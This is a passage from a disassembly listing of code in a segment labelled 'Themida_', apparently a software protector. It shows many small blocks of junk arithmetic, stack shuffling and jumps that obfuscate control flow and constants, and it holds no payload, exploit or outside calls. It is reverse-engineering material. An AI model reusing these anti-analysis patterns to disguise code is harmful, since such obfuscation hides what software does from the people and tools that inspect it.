; ---------------------------------------------------------------------------
loc_56CF90: ; CODE XREF: Themida_:00566AFDj
pop edi
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56BA8B
; ---------------------------------------------------------------------------
loc_56CF9F: ; CODE XREF: Themida_:0056984Ej
pop edx
jmp loc_5629D7
; ---------------------------------------------------------------------------
loc_56CFA5: ; CODE XREF: Themida_:0056DA72j
add esp, 4
add edx, 4
xchg edx, [esp]
pop esp
sub al, 4Ch
add al, bl
add al, 4Ch
sub al, 8
sub esp, 4
mov [esp], edx
push eax
mov ah, 3Ah
xor ah, 0B8h
add ah, 0CFh
jmp loc_56ADBE
; ---------------------------------------------------------------------------
loc_56CFCE: ; CODE XREF: Themida_:0056B65Cj
mov dh, al
jmp loc_567D79
; ---------------------------------------------------------------------------
loc_56CFD5: ; CODE XREF: Themida_:00566DA0j
shl edx, 4
push edi
mov edi, 277F5B11h
shr edi, 4
add edi, 46E70BD8h
jmp loc_568E40
; ---------------------------------------------------------------------------
loc_56CFEC: ; CODE XREF: Themida_:00566487j
sub eax, 12485B84h
mov ebp, [esp]
add esp, 4
jmp loc_56CE1F
; ---------------------------------------------------------------------------
loc_56CFFF: ; CODE XREF: Themida_:00562819j
dec edx
push esi
mov esi, 684B563Bh
xor esi, 805BCEF3h
xor edx, esi
pop esi
push edx
pop edi
pop edx
sub eax, 660167Fh
add eax, edi
jmp loc_55E45B
; ---------------------------------------------------------------------------
loc_56D01E: ; CODE XREF: Themida_:00563630j
xor ebx, [esp]
mov esp, [esp]
push eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_571B08
; ---------------------------------------------------------------------------
loc_56D032: ; CODE XREF: Themida_:005713E1j
mov ah, 34h
neg ah
shl ah, 5
neg ah
add ah, 87h
and dl, ah
pop eax
jmp loc_563829
; ---------------------------------------------------------------------------
locret_56D046: ; CODE XREF: Themida_:0056C142j
retn
; ---------------------------------------------------------------------------
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56D04C: ; CODE XREF: Themida_:00564428j
add eax, 7B1F1858h
jmp loc_5679E9
; ---------------------------------------------------------------------------
loc_56D056: ; CODE XREF: Themida_:0056EFD7j
add esp, 4
add esp, 4
add esp, 4
or eax, eax
jz loc_56B8CD
push dword ptr [edi+28h]
push eax
push edi
jmp loc_571F08
; ---------------------------------------------------------------------------
loc_56D077: ; CODE XREF: Themida_:005615F5j
push esp
pop ebx
push edi
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
shr eax, 0Ah
xor eax, ecx
push 65EAh
mov [esp], eax
jmp loc_56A844
; ---------------------------------------------------------------------------
loc_56D0A4: ; CODE XREF: Themida_:0056A2A7j
push 1EFBh
mov [esp], eax
push ebx
jmp loc_570FED
; ---------------------------------------------------------------------------
loc_56D0B2: ; CODE XREF: Themida_:005655CFj
sub al, 5Dh
add al, bl
add al, 5Dh
sub al, 7Ch
mov ebx, [esp]
add esp, 4
push ecx
mov ch, 7Ch
jmp loc_5610DF
; ---------------------------------------------------------------------------
loc_56D0C8: ; CODE XREF: Themida_:00571A4Aj
mov [esp], ebx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_5692FF
; ---------------------------------------------------------------------------
loc_56D0DC: ; CODE XREF: Themida_:0056DD5Aj
mov edi, [esp]
push 397h
mov [esp], edi
push esp
pop edi
push ecx
mov ecx, 4
add edi, ecx
jmp loc_5644CD
; ---------------------------------------------------------------------------
loc_56D0F6: ; CODE XREF: Themida_:005722B1j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_565B1B
; ---------------------------------------------------------------------------
loc_56D103: ; CODE XREF: Themida_:0055E24Aj
pop ecx
push eax
mov eax, 4
add ebp, eax
jmp loc_5629C1
; ---------------------------------------------------------------------------
loc_56D111: ; CODE XREF: Themida_:0056C291j
push edx
mov edx, esp
jmp loc_5714AC
; ---------------------------------------------------------------------------
loc_56D119: ; CODE XREF: Themida_:0056E0FEj
xchg eax, [esp]
jmp loc_5657F8
; ---------------------------------------------------------------------------
loc_56D121: ; CODE XREF: Themida_:0055F609j
pop eax
jmp loc_56E4C5
; ---------------------------------------------------------------------------
loc_56D127: ; CODE XREF: Themida_:0056F6AAj
pop ecx
shl edx, 2
xor edx, 0AF10AE2h
jmp loc_56FF3B
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_55EC15
; ---------------------------------------------------------------------------
loc_56D13D: ; CODE XREF: Themida_:0055E860j
shl ebp, 8
xor ebp, 7888C504h
add esi, ebp
jmp loc_56E679
; ---------------------------------------------------------------------------
loc_56D14D: ; CODE XREF: Themida_:00567595j
pop ecx
add ebx, eax
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
push ecx
push 7113h
push esp
pop dword ptr [esp]
push 6B7Eh
mov [esp], ecx
mov ecx, 4
push edi
jmp loc_569A72
; ---------------------------------------------------------------------------
loc_56D177: ; CODE XREF: Themida_:00568073j
push esp
pop esi
add esi, 4
jmp loc_56F120
; ---------------------------------------------------------------------------
loc_56D184: ; CODE XREF: Themida_:00563526j
add esi, 4
jmp loc_56C6DE
; ---------------------------------------------------------------------------
loc_56D18F: ; CODE XREF: Themida_:00567F2Ej
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push ecx
jmp loc_56FF5F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_5673C3
; ---------------------------------------------------------------------------
loc_56D1AE: ; CODE XREF: Themida_:00562EEBj
push eax
mov eax, 7E940C4Dh
sub ebp, eax
pop eax
sub ebp, edi
jmp loc_568193
; ---------------------------------------------------------------------------
loc_56D1BE: ; CODE XREF: Themida_:00563C75j
xor ebp, 235F4E6Ch
and ecx, ebp
jmp loc_5650D2
; ---------------------------------------------------------------------------
loc_56D1CB: ; CODE XREF: Themida_:0056D66Aj
mov edi, [esp]
add esp, 4
jmp loc_56C499
; ---------------------------------------------------------------------------
loc_56D1D9: ; CODE XREF: Themida_:0055D86Aj
pop esp
xor eax, ebp
jmp loc_55E1FD
; ---------------------------------------------------------------------------
loc_56D1E1: ; CODE XREF: Themida_:005633C3j
add edx, 4
jmp loc_55EC99
; ---------------------------------------------------------------------------
loc_56D1EC: ; CODE XREF: Themida_:00567294j
xor ebp, edi
pop edi
sub ebp, 2C29725Eh
add ebp, 1
not ebp
not ebp
push esi
jmp loc_562639
; ---------------------------------------------------------------------------
loc_56D205: ; CODE XREF: Themida_:0056BD7Fj
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56D20B: ; CODE XREF: Themida_:0056F6DEj
xor bx, 587Ch
or di, bx
jmp loc_567E6A
; ---------------------------------------------------------------------------
loc_56D218: ; CODE XREF: Themida_:0056C452j
sub edx, 0E4C63BFDh
xor eax, edx
jmp loc_56476C
; ---------------------------------------------------------------------------
loc_56D225: ; CODE XREF: Themida_:00569D1Bj
not edx
inc edx
add edx, 2D5648F1h
inc edx
not edx
sub edx, 41AC35D0h
add esi, edx
mov edx, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
pop esp
push edi
mov edi, esp
jmp loc_564FBF
; ---------------------------------------------------------------------------
loc_56D251: ; CODE XREF: Themida_:0056747Fj
push 71E459E8h
mov ebx, [esp]
add esp, 4
shr ebx, 4
xor ebx, 5756623Ah
add ebx, 0DFD15A28h
push ecx
push ebx
add dword ptr [esp], 7AD234DCh
pop ecx
sub ecx, 7AD234DCh
push ebx
jmp loc_567199
; ---------------------------------------------------------------------------
loc_56D281: ; CODE XREF: Themida_:00561E77j
sub eax, ecx
mov ecx, [esp]
jmp loc_56AA88
; ---------------------------------------------------------------------------
loc_56D28B: ; CODE XREF: Themida_:00562E65j
mov [esp], esi
jmp loc_56CE82
; ---------------------------------------------------------------------------
loc_56D293: ; CODE XREF: Themida_:00560305j
add eax, 3C220F9Dh
jmp loc_5728AB
; ---------------------------------------------------------------------------
loc_56D29D: ; CODE XREF: Themida_:0056B811j
mov bh, 64h
mov ch, bh
jmp loc_55D441
; ---------------------------------------------------------------------------
loc_56D2A6: ; CODE XREF: Themida_:00563593j
pop eax
jmp loc_56D9F4
; ---------------------------------------------------------------------------
loc_56D2AC: ; CODE XREF: Themida_:0056360Fj
pop edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_56A1B4
; ---------------------------------------------------------------------------
loc_56D2C1: ; CODE XREF: Themida_:0056769Dj
xor ecx, 6CC81AA0h
mov ebp, ecx
jmp loc_570331
; ---------------------------------------------------------------------------
loc_56D2CE: ; CODE XREF: Themida_:005700E4j
sub edx, 6EEE0CF1h
sub edx, 5ACA5EB4h
sub edx, ecx
add edx, 5ACA5EB4h
push ebp
mov ebp, 6EEE0CF1h
jmp loc_567221
; ---------------------------------------------------------------------------
loc_56D2ED: ; CODE XREF: Themida_:005654BAj
mov esi, 178C7879h
mov eax, 637A6A8h
add eax, 63CB63FDh
add eax, esi
sub eax, 63CB63FDh
mov esi, [esp]
add esp, 4
jmp loc_56FA05
; ---------------------------------------------------------------------------
loc_56D30E: ; CODE XREF: Themida_:0056C6E2j
mov dl, al
pop eax
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop ecx
xchg ah, dl
not ah
jmp loc_565078
; ---------------------------------------------------------------------------
loc_56D331: ; CODE XREF: Themida_:0056078Fj
add edx, ebx
sub edx, 1C3A79F5h
sub edx, 291E3542h
pop ebx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
sub esp, 4
jmp loc_568B85
; ---------------------------------------------------------------------------
loc_56D352: ; CODE XREF: Themida_:0055E252j
pop ebp
jmp loc_560474
; ---------------------------------------------------------------------------
loc_56D358: ; CODE XREF: Themida_:00571DA8j
xchg ebx, [esp]
jmp loc_56F824
; ---------------------------------------------------------------------------
loc_56D360: ; CODE XREF: Themida_:0056FE80j
and ebx, 5C4A7798h
add ebx, 0B3FD89FCh
jmp loc_56A23E
; ---------------------------------------------------------------------------
loc_56D371: ; CODE XREF: Themida_:0056E848j
pop esp
pop dword ptr [esp]
mov esp, [esp]
add eax, 7A4E054Eh
jmp loc_56D9A2
; ---------------------------------------------------------------------------
loc_56D382: ; CODE XREF: Themida_:00568A49j
mov edx, 514E39A7h
jmp loc_5664C6
; ---------------------------------------------------------------------------
loc_56D38C: ; CODE XREF: Themida_:005718EEj
push edx
mov edx, esi
mov eax, edx
jmp loc_57037D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56D396: ; CODE XREF: sub_562A0A+9E48j
sub cl, 1Fh
jmp loc_566224
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_56D39E: ; CODE XREF: Themida_:0057186Aj
push 4
push dword ptr [esp]
pop ebp
add esp, 4
push edx
push ebp
push 4F407CF4h
jmp loc_5717F2
; ---------------------------------------------------------------------------
loc_56D3B9: ; CODE XREF: Themida_:00562B09j
sub ebx, 47411306h
jmp loc_571468
; ---------------------------------------------------------------------------
loc_56D3C4: ; CODE XREF: Themida_:00563EABj
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
jmp loc_569E7F
; ---------------------------------------------------------------------------
loc_56D3D5: ; CODE XREF: Themida_:0056EB5Aj
sub ebp, 2AFC5E55h
jmp loc_561BB6
; ---------------------------------------------------------------------------
loc_56D3E0: ; CODE XREF: Themida_:00567B16j
xchg edi, [esp]
mov esp, [esp]
and ecx, edx
pop edx
not ecx
push edx
jmp loc_567299
; ---------------------------------------------------------------------------
loc_56D3F1: ; CODE XREF: Themida_:00572A2Dj
add esi, 4
push eax
mov eax, 4
add esi, eax
mov eax, [esp]
add esp, 4
jmp loc_55D400
; ---------------------------------------------------------------------------
loc_56D40D: ; CODE XREF: Themida_:0056161Fj
dec ebp
inc ebp
xor ebp, 0C9B22E1Fh
jmp loc_56310C
; ---------------------------------------------------------------------------
loc_56D41A: ; CODE XREF: Themida_:00566BC7j
xor edx, 508E6F67h
pop edi
add edx, 155751ADh
push ecx
jmp loc_55D810
; ---------------------------------------------------------------------------
loc_56D42D: ; CODE XREF: Themida_:00567BE8j
mov ebx, 4
sub edi, 0C200174h
jmp loc_55D461
; ---------------------------------------------------------------------------
loc_56D43D: ; CODE XREF: Themida_:00566DE7j
mov edx, 5A4D1D9Ah
sub edx, 767E7D57h
xor edx, 0E3CEA047h
add ebx, edx
pop edx
jmp loc_571568
; ---------------------------------------------------------------------------
loc_56D456: ; CODE XREF: Themida_:0055DB03j
pop ebp
mov ebp, eax
mov eax, [esp]
add esp, 4
sub ebx, 30C377AFh
add ebx, ebp
jmp loc_563A8E
; ---------------------------------------------------------------------------
loc_56D46F: ; CODE XREF: Themida_:0055D8D4j
sub edi, 31BD18D9h
add edi, ebx
add edi, 31BD18D9h
jmp loc_566B51
; ---------------------------------------------------------------------------
loc_56D482: ; CODE XREF: Themida_:0056341Cj
push edx
jmp loc_570B4A
; ---------------------------------------------------------------------------
loc_56D488: ; CODE XREF: Themida_:00563EFDj
mov cl, 88h
add al, cl
pop cx
add al, dl
push cx
mov cl, 88h
jmp loc_56CE54
; ---------------------------------------------------------------------------
loc_56D499: ; CODE XREF: Themida_:00571DFCj
mov edi, 4
mov ebx, edi
pop edi
sub esi, 79AE5B0Bh
add esi, ebx
add esi, 79AE5B0Bh
pop ebx
xor esi, [esp]
jmp loc_55D8F4
; ---------------------------------------------------------------------------
loc_56D4B8: ; CODE XREF: Themida_:00569C1Fj
push ebp
mov ebp, 0A47DDE7Ch
sub ebx, ebp
pop ebp
mov edx, ebx
pop ebx
mov dword ptr [edi+20h], 0F350B72h
jmp loc_5627E4
; ---------------------------------------------------------------------------
loc_56D4D0: ; CODE XREF: Themida_:0056D63Ej
pop ecx
mov al, 8Bh
xor al, bh
jmp loc_56A309
; ---------------------------------------------------------------------------
loc_56D4DA: ; CODE XREF: Themida_:0055F346j
sub edi, 11560DA9h
push edx
mov edx, edi
jmp loc_56C7C9
; ---------------------------------------------------------------------------
loc_56D4E8: ; CODE XREF: Themida_:0055EB92j
add eax, 4
xchg eax, [esp]
pop esp
push ecx
push 7E52h
jmp loc_56464F
; ---------------------------------------------------------------------------
loc_56D4FC: ; CODE XREF: Themida_:0055DE27j
push edx
mov edx, 47772822h
add eax, edx
mov edx, [esp]
add esp, 4
jmp loc_5613E8
; ---------------------------------------------------------------------------
loc_56D50F: ; CODE XREF: Themida_:005652DFj
mov [esp], edi
mov edi, 4
add ebp, edi
jmp loc_56E704
; ---------------------------------------------------------------------------
loc_56D51E: ; CODE XREF: Themida_:0055F5ECj
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], esi
sub esp, 4
jmp loc_56B057
; ---------------------------------------------------------------------------
loc_56D533: ; CODE XREF: Themida_:00569934j
push dword ptr [esp]
pop ebx
add esp, 4
add al, 0BDh
sub al, dh
push cx
mov cl, 0BDh
add al, 6Bh
sub al, cl
jmp loc_56E023
; ---------------------------------------------------------------------------
loc_56D54E: ; CODE XREF: Themida_:005712EEj
mov ecx, 2E7D557Eh
neg ecx
sub ecx, 160E4175h
jmp loc_570D66
; ---------------------------------------------------------------------------
loc_56D560: ; CODE XREF: Themida_:00564E1Aj
or ecx, 6BC139F3h
xor ecx, 200E4Dh
sub edx, ecx
mov ecx, [esp]
add esp, 4
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push ecx
mov ecx, esp
push edi
jmp loc_56C585
; ---------------------------------------------------------------------------
loc_56D59E: ; CODE XREF: Themida_:005622ADj
xor al, dh
jmp loc_560C48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56D5A5: ; CODE XREF: sub_562A0A+6127j
add esp, 4
add bl, 0F7h
add bl, al
sub bl, 0F7h
add bl, 69h
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6942h
mov [esp], ebx
push esp
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56E5EE
; ---------------------------------------------------------------------------
loc_56D5D9: ; CODE XREF: Themida_:0056708Ej
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_56FE85
; ---------------------------------------------------------------------------
loc_56D5EF: ; CODE XREF: Themida_:0056F1BCj
add esp, 4
push 4634h
mov [esp], ecx
push 3FAh
mov [esp], eax
mov eax, 5CBA32C3h
xor eax, 9AE4555h
sub esp, 4
mov [esp], ecx
jmp loc_56DCB7
; ---------------------------------------------------------------------------
loc_56D61A: ; CODE XREF: Themida_:00570517j
mov ebp, [esp]
add esp, 4
push edx
jmp loc_56171B
; ---------------------------------------------------------------------------
loc_56D629: ; CODE XREF: Themida_:005600CAj
add esp, 4
add ebp, 4
push edx
jmp loc_5624D4
; ---------------------------------------------------------------------------
loc_56D63B: ; CODE XREF: Themida_:005657EDj
pop edx
mov bh, cl
jmp loc_56D4D0
; ---------------------------------------------------------------------------
loc_56D643: ; CODE XREF: Themida_:0055E345j
push edx
mov edx, 0AC747B6h
xor edx, 7612382Fh
push eax
mov eax, 6A4E0A67h
sub edx, eax
pop eax
add eax, 58B5789Dh
jmp loc_55F08C
; ---------------------------------------------------------------------------
loc_56D662: ; CODE XREF: Themida_:0056549Aj
mov edi, edx
pop edx
add eax, edi
push dword ptr [esp]
jmp loc_56D1CB
; ---------------------------------------------------------------------------
loc_56D66F: ; CODE XREF: Themida_:00565471j
sub ebp, 6BA706A4h
pop ecx
jmp loc_57151F
; ---------------------------------------------------------------------------
loc_56D67B: ; CODE XREF: Themida_:0056157Bj
mov esp, [esp]
movzx ecx, al
push 4944h
mov [esp], ecx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56D68E: ; CODE XREF: Themida_:0056C124j
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_55D39E
; ---------------------------------------------------------------------------
loc_56D69F: ; CODE XREF: Themida_:005661BAj
xchg eax, [esp]
pop esp
dec dl
add dl, 50h
push 4CC9h
mov [esp], eax
jmp loc_56D72F
; ---------------------------------------------------------------------------
loc_56D6B5: ; CODE XREF: Themida_:00568AC0j
dec esi
sub esi, 54333C08h
neg esi
not esi
jmp loc_56700B
; ---------------------------------------------------------------------------
loc_56D6C5: ; CODE XREF: Themida_:005715AFj
xchg edi, [esp]
pop esp
jmp loc_562C5D
; ---------------------------------------------------------------------------
loc_56D6CE: ; CODE XREF: Themida_:00563C1Ej
push 45B6h
mov [esp], eax
push 1393h
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
jmp loc_56A82A
; ---------------------------------------------------------------------------
loc_56D6EC: ; CODE XREF: Themida_:0056AF55j
mov esi, ebp
pop ebp
add eax, 32611ED4h
add eax, esi
sub eax, 32611ED4h
pop esi
xchg eax, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56D70D: ; CODE XREF: Themida_:00560509j
mov [esp], edx
mov edx, esp
push ebx
mov ebx, 756E7751h
sub ebx, 756E774Dh
add edx, ebx
pop ebx
add edx, 4
xchg edx, [esp]
jmp loc_567DEE
; ---------------------------------------------------------------------------
loc_56D72F: ; CODE XREF: Themida_:0056D6B0j
push ecx
mov cl, 0B7h
or cl, 0C1h
push ax
jmp loc_5609FF
; ---------------------------------------------------------------------------
loc_56D73C: ; CODE XREF: Themida_:005676CCj
pop eax
sub edx, 3B3A4CBBh
jmp loc_56BEF2
; ---------------------------------------------------------------------------
loc_56D748: ; CODE XREF: Themida_:0055E2ACj
push 3FFBh
mov [esp], edi
push ecx
push 66811BCDh
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 235E4E2Bh
inc edi
sub edi, 49302CECh
shl edi, 5
xor edi, 0A3046FFh
jmp loc_56C8A8
; ---------------------------------------------------------------------------
loc_56D77C: ; CODE XREF: Themida_:00561007j
add dword ptr [esp], 4
pop dword ptr [esp]
push 444Ah
mov [esp], ebp
mov ebp, 547A0D63h
and ebp, 0A44433Dh
jmp loc_56FC6B
; ---------------------------------------------------------------------------
loc_56D79B: ; CODE XREF: Themida_:0056F7E7j
push eax
mov al, bl
mov ch, al
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov [edx], ch
push dword ptr [esp]
pop ecx
add esp, 4
pop ebx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56D7C8: ; CODE XREF: Themida_:00560BC7j
pop eax
jmp loc_571BFA
; ---------------------------------------------------------------------------
loc_56D7CE: ; CODE XREF: Themida_:00567DF6j
mov ecx, 198C34A3h
xor ecx, ebx
pop ebx
dec ecx
xchg esi, ecx
neg esi
xchg esi, ecx
xor ecx, 293E0474h
jmp loc_56334F
; ---------------------------------------------------------------------------
loc_56D7E8: ; CODE XREF: Themida_:00562655j
sub edx, ebx
pop ebx
pop eax
xor [esp], edx
xor edx, [esp]
xor [esp], edx
jmp loc_56A3DB
; ---------------------------------------------------------------------------
loc_56D7FA: ; CODE XREF: Themida_:005651D4j
pop esp
pop dword ptr [esp]
jmp loc_56C631
; ---------------------------------------------------------------------------
loc_56D803: ; CODE XREF: Themida_:0056985Cj
add ebx, 34770199h
sub ebx, eax
sub ebx, 34770199h
jmp loc_56FF8E
; ---------------------------------------------------------------------------
loc_56D816: ; CODE XREF: Themida_:00569221j
push ebp
mov ebp, 0A6CC8Eh
push ebp
push edx
mov edx, 38FF1918h
add [esp+4], edx
pop edx
push dword ptr [esp]
pop edi
add esp, 4
sub edi, 38FF1918h
pop ebp
jmp loc_567CFF
; ---------------------------------------------------------------------------
loc_56D83B: ; CODE XREF: Themida_:0056C488j
xchg ebp, [esp]
jmp loc_55ED7D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov eax, [esp]
push 2265h
mov [esp], ebp
push esp
jmp loc_56DE95
; ---------------------------------------------------------------------------
loc_56D85A: ; CODE XREF: Themida_:005642DEj
mov eax, ebx
pop ebx
mov edi, 3C3C205Eh
add edi, 401855B2h
add edi, 9034CB2Ch
xor edi, eax
push dword ptr [esp]
pop eax
add esp, 4
sub esi, 4C6702A6h
push eax
mov eax, 7CBD7B06h
and eax, 35C61BC9h
xor eax, 5D4D2367h
jmp loc_5625E1
; ---------------------------------------------------------------------------
loc_56D895: ; CODE XREF: Themida_:0057289Dj
add edx, 3D6D606Ah
pop ebx
push eax
push 46FC75C5h
pop eax
jmp loc_56B83E
; ---------------------------------------------------------------------------
loc_56D8A8: ; CODE XREF: Themida_:00568A29j
push eax
jmp loc_567FC8
; ---------------------------------------------------------------------------
loc_56D8AE: ; CODE XREF: Themida_:0055D7F1j
push 2
mov esi, [esp]
push edi
jmp loc_57134D
; ---------------------------------------------------------------------------
loc_56D8BC: ; CODE XREF: Themida_:00572937j
mov eax, [esp]
add esp, 4
jmp loc_569CBC
; ---------------------------------------------------------------------------
loc_56D8C7: ; CODE XREF: Themida_:0056A781j
pop ebx
add ecx, 1
add ecx, 0AFE6A003h
add eax, ecx
mov ecx, [esp]
push eax
jmp loc_55ED04
; ---------------------------------------------------------------------------
loc_56D8DF: ; CODE XREF: Themida_:00564B87j
sub ebx, 8030C252h
add esi, ebx
pop ebx
jmp loc_560842
; ---------------------------------------------------------------------------
loc_56D8ED: ; CODE XREF: Themida_:00565479j
pop esi
push esi
push eax
jmp loc_564500
; ---------------------------------------------------------------------------
loc_56D8F5: ; CODE XREF: Themida_:0056127Aj
add edi, 0DD44B4Bh
pop edx
xor esi, edi
pop edi
mov ebx, esi
push dword ptr [esp]
pop esi
push esi
mov esi, esp
jmp loc_5624AC
; ---------------------------------------------------------------------------
loc_56D90D: ; CODE XREF: Themida_:00565434j
add edi, 0FD9CF288h
add ecx, edi
pop edi
mov eax, [esp]
add esp, 4
jmp loc_55D7B4
; ---------------------------------------------------------------------------
loc_56D921: ; CODE XREF: Themida_:005645BDj
and ecx, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_5649DE
; ---------------------------------------------------------------------------
loc_56D934: ; CODE XREF: Themida_:0057098Dj
push 76265973h
pop edx
add edx, 61430BB6h
sub edx, ebx
sub edx, 61430BB6h
pop ebx
jmp loc_55FEF8
; ---------------------------------------------------------------------------
loc_56D94E: ; CODE XREF: Themida_:005634F6j
mov cl, bl
push dword ptr [esp]
pop ebx
jmp loc_571ECA
; ---------------------------------------------------------------------------
loc_56D959: ; CODE XREF: Themida_:0056EEBCj
mov edi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56D971: ; CODE XREF: Themida_:00567BC2j
sub dx, 219Fh
add dx, 137h
pop bx
add dx, 7F96h
push small 164Bh
mov [esp], cx
push edx
mov dx, 3EAEh
not dx
xor dx, 9E60h
push di
mov di, 1
jmp loc_569882
; ---------------------------------------------------------------------------
loc_56D9A2: ; CODE XREF: Themida_:0056D37Dj
push 5B67h
mov [esp], ecx
push 1000h
mov ecx, [esp]
jmp loc_56EC10
; ---------------------------------------------------------------------------
loc_56D9B7: ; CODE XREF: Themida_:0056A182j
shr esi, 4
jmp loc_5650B8
; ---------------------------------------------------------------------------
loc_56D9BF: ; CODE XREF: Themida_:0056F160j
pop dword ptr [esp]
jmp loc_567BA0
; ---------------------------------------------------------------------------
loc_56D9C7: ; CODE XREF: Themida_:0056C3EDj
add ebp, edx
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_566145
; ---------------------------------------------------------------------------
loc_56D9E0: ; CODE XREF: Themida_:0056C9A5j
sub esp, 4
mov [esp], edx
mov edx, 4
push ecx
jmp loc_5728BC
; ---------------------------------------------------------------------------
loc_56D9F4: ; CODE XREF: Themida_:0056D2A7j
add esp, 4
jmp loc_55E8D3
; ---------------------------------------------------------------------------
loc_56D9FF: ; CODE XREF: Themida_:0056E20Dj
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push 7D94h
jmp loc_5706CC
; ---------------------------------------------------------------------------
loc_56DA13: ; CODE XREF: Themida_:00570741j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56E6AA
; ---------------------------------------------------------------------------
loc_56DA1E: ; CODE XREF: Themida_:00569D13j
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_57294F
; ---------------------------------------------------------------------------
loc_56DA2E: ; CODE XREF: Themida_:0056EB1Fj
pop edx
pop eax
mov bx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 2
xchg ecx, [esp]
pop esp
shl cl, 2
sub cl, 0F4h
sub al, 0A1h
add al, cl
push ebx
mov bh, 0A1h
add al, bh
pop ebx
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], edx
mov edx, esp
push ebx
push 4
pop ebx
add edx, ebx
mov ebx, [esp]
jmp loc_56CFA5
; ---------------------------------------------------------------------------
loc_56DA77: ; CODE XREF: Themida_:00564B92j
push eax
mov eax, 168C53FFh
inc eax
neg eax
or eax, 4A0953C0h
and eax, 47405F23h
add eax, 0BCBFA104h
jmp loc_5658BB
; ---------------------------------------------------------------------------
loc_56DA94: ; CODE XREF: Themida_:0056EF09j
sub esp, 4
jmp loc_563EB0
; ---------------------------------------------------------------------------
loc_56DA9F: ; CODE XREF: Themida_:0055EC2Fj
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add al, 54h
push small 5CC5h
mov [esp], dx
jmp loc_56030A
; ---------------------------------------------------------------------------
loc_56DABB: ; CODE XREF: Themida_:0056B857j
and edi, 5C056968h
dec edi
xor edi, 5EB17BD1h
and ecx, edi
pop edi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
jmp loc_5706E0
; ---------------------------------------------------------------------------
loc_56DADE: ; CODE XREF: Themida_:0056B904j
add eax, 0FFFFFFFFh
not eax
jmp loc_564DF8
; ---------------------------------------------------------------------------
loc_56DAE8: ; CODE XREF: Themida_:0055FD04j
sub al, 0ECh
xor al, 8Eh
xor cl, al
pop eax
jmp loc_562DAB
; ---------------------------------------------------------------------------
loc_56DAF4: ; CODE XREF: Themida_:00565512j
mov al, 0A3h
shr al, 3
push edx
mov dh, 4Eh
push cx
mov cl, 24h
xor dh, cl
pop cx
jmp loc_5622A4
; ---------------------------------------------------------------------------
loc_56DB09: ; CODE XREF: Themida_:00564F6Fj
pop ebx
sub ebx, edx
pop edx
mov ecx, ebx
pop ebx
jmp loc_563D46
; ---------------------------------------------------------------------------
loc_56DB15: ; CODE XREF: Themida_:00566CB0j
push edi
push ebp
mov ebp, 2C6D73BBh
add ebp, 4A34F97h
jmp loc_56727A
; ---------------------------------------------------------------------------
loc_56DB27: ; CODE XREF: Themida_:00560F3Cj
add ebp, edx
pop edx
jmp loc_560612
; ---------------------------------------------------------------------------
loc_56DB2F: ; CODE XREF: Themida_:00560AE9j
mov [esp], edx
push 0F2Ch
mov [esp], esp
jmp loc_562964
; ---------------------------------------------------------------------------
loc_56DB3F: ; CODE XREF: Themida_:0055EF83j
push eax
jmp loc_564996
; ---------------------------------------------------------------------------
loc_56DB45: ; CODE XREF: Themida_:005709CEj
mov [esp], ebp
jmp loc_572A58
; ---------------------------------------------------------------------------
loc_56DB4D: ; CODE XREF: Themida_:0056CC11j
inc eax
